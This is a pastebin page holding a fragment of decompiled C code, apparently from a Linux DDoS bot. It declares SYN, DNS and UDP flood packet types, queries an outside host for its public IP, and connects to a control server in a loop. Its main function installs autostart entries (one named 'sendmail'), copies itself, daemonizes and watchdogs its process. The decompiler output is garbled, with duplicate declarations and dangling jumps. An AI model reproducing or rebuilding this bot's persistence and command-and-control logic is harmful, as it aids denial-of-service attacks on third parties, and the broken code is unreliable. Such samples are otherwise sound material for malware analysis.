  8574.     fd_set rsetfds;
  8575.     struct timeval tv;
  8576.     struct hostent* szhost;
  8577.     struct sockaddr_in sockSevaddr;
  8578.     long unsigned int ul;
  8579.     pthread_t tRecvID;
  8580.     LOGINPACK LoginPack;
  8581.     int ret;
  8582.     int numsend;
  8583.     int opt;
  8584.     int keep_alive;
  8585.     int keep_idle;
  8586.     int keep_interval;
  8587.     int keep_count;
  8588.     double szCPUMhz;
  8589.     int nOnline;
  8590.     int __d0;
  8591.     int __d1;
  8592.     char __result;
  8593.     int iDataNum;
  8594.     int tuzi_i;
  8595.     int nAttackType;
  8596.     int nSyn;
  8597.     SYNPACKET lpSynPacket;
  8598.     int nSyn;
  8599.     SYNPACKET lpSynPacket;
  8600.     int nSyn;
  8601.     SYNPACKET lpSynPacket;
  8602.     int nSyn;
  8603.     SYNPACKET lpSynPacket;
  8604.     int nDns;
  8605.     DNSPACKET lpDnsPacket;
  8606.     int nUdp;
  8607.     UDPPACKET lpUdpPacket;
  8608.     DNSPACKET lpDnsPacket;
  8609.     int flag;
  8610.     int nDns;
  8611.     MOREDNSPACKET lpDnsPacket;
  8612.     int nDns;
  8613.     SYNPACKET_NUM lpSynPacket;
  8614.     int nDns;
  8615.     SYNPACKET_NUM lpSynPacket;
  8616.     _unknown_ _v56;
  8617.     _unknown_ _v60;
  8618.     _unknown_ _v64;
  8619.     _unknown_ _v68;
  8620.     _unknown_ _v72;
  8621.     _unknown_ _v88;
  8622.     _unknown_ _v92;
  8623.     intOrPtr _v96;
  8624.     int _v100;
  8625.     _unknown_ _v228;
  8626.     int _v232;
  8627.     intOrPtr _v236;
  8628.     _unknown_ _v248;
  8629.     _unknown_ _v250;
  8630.     _unknown_ _v252;
  8631.     _unknown_ _v256;
  8632.     _unknown_ _v260;
  8633.     _unknown_ _v264;
  8634.     _unknown_ _v268;
  8635.     _unknown_ _v272;
  8636.     _unknown_ _v276;
  8637.     _unknown_ _v280;
  8638.     char _v412;
  8639.     _unknown_ _v1824;
  8640.     _unknown_ _v1836;
  8641.     _unknown_ _v1840;
  8642.     _unknown_ _v1844;
  8643.     _unknown_ _v1848;
  8644.     char* _t130;
  8645.     _unknown_ _t132;
  8646.     _unknown_ _t134;
  8647.     int _t136;
  8648.     _unknown_ _t138;
  8649.     _unknown_ _t144;
  8650.     _unknown_ _t147;
  8651.     _unknown_ _t155;
  8652.     _unknown_ _t158;
  8653.     _unknown_ _t163;
  8654.     _unknown_ _t165;
  8655.     _unknown_ _t166;
  8656.     _unknown_ _t169;
  8657.     _unknown_ _t170;
  8658.     _unknown_ _t174;
  8659.     _unknown_ _t178;
  8660.     _unknown_ _t181;
  8661.     _unknown_ _t183;
  8662.     _unknown_ _t185;
  8663.     _unknown_ _t193;
  8664.     _unknown_ _t197;
  8665.     _unknown_ _t201;
  8666.     _unknown_ _t203;
  8667.     _unknown_ _t205;
  8668.     _unknown_ _t207;
  8669.     _unknown_ _t209;
  8670.     _unknown_ _t211;
  8671.     _unknown_ _t212;
  8672.     _unknown_ _t213;
  8673.     _unknown_ _t214;
  8674.     _unknown_ _t215;
  8675.     _unknown_ _t225;
  8676.     _unknown_ _t228;
  8677.     _unknown_ _t229;
  8678.     _unknown_ _t231;
  8679.  
  8680.     _v236 = 3;
  8681.     _v232 = 0;
  8682.     L0806CA00(_t230, __esi, 50);
  8683.     on_line_ip = _t130;
  8684.     while(1) {
  8685.         L08061340(__ebx, _t230, __esi, "===== start =====");
  8686.         _v100 = 0;
  8687.         _v96 = 1;
  8688.         L0806F850(__ebx, _t230, __esi,  &_v412, 0, 132);
  8689.         L0806F850(__ebx, _t230, __esi, on_line_ip, 0, 50);
  8690.         hCSockft = 0;
  8691.         _t136 = get_online_ip("aa.ip-163.com", on_line_ip);
  8692.         if(_t136 == 0) {
  8693.             goto L5;
  8694.         } else {
  8695.             goto L2;
  8696.         }
  8697.     }
  8698. }
  8699.  
  8700. int main(int argc, char** argv)
  8701. {// addr = 0x0804F128
  8702.     pthread_t tConnID;
  8703.     char _v20;
  8704.     _unknown_ _v36;
  8705.     _unknown_ _v40;
  8706.     _unknown_ _v44;
  8707.     int _t12;
  8708.     _unknown_ _t13;
  8709.     _unknown_ _t16;
  8710.     _unknown_ _t17;
  8711.     _unknown_ _t19;
  8712.     _unknown_ _t20;
  8713.  
  8714.     __ecx =  &argc;
  8715.     __esp = __esp & 240;
  8716.     _push( *((intOrPtr*)(__ecx - 4)));
  8717.     _push(_t19);
  8718.     _push(_t17);
  8719.     _push(__ecx);
  8720.     __esp = __esp - 32;
  8721.     _t18 = __ecx;
  8722.     init_globel();
  8723.     autostart(135044260);
  8724.     autostart(135044264);
  8725.     autostart("sendmail");
  8726.     copy_myself( *(__ecx[1]));
  8727.     _t12 = daemon_init();
  8728.     if(_t12 == 255) {
  8729.          *__esp = 0;
  8730.         L0805E0C0();
  8731.     }
  8732.     L08072500(__esi, 0, 0);
  8733.     _t13 = L0805D530(_t12, _t18, 15, sig_term);
  8734.     L080701B0(0);
  8735.     L0805E610(_t13);
  8736.     L0804FC20(_t18, __esi,  &_v20, 0, connect_to_server, 0);
  8737.     update_program_pid();
  8738.     while(1) {
  8739.         L08070250(5);
  8740.         decide_pid();
  8741.     }
  8742. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement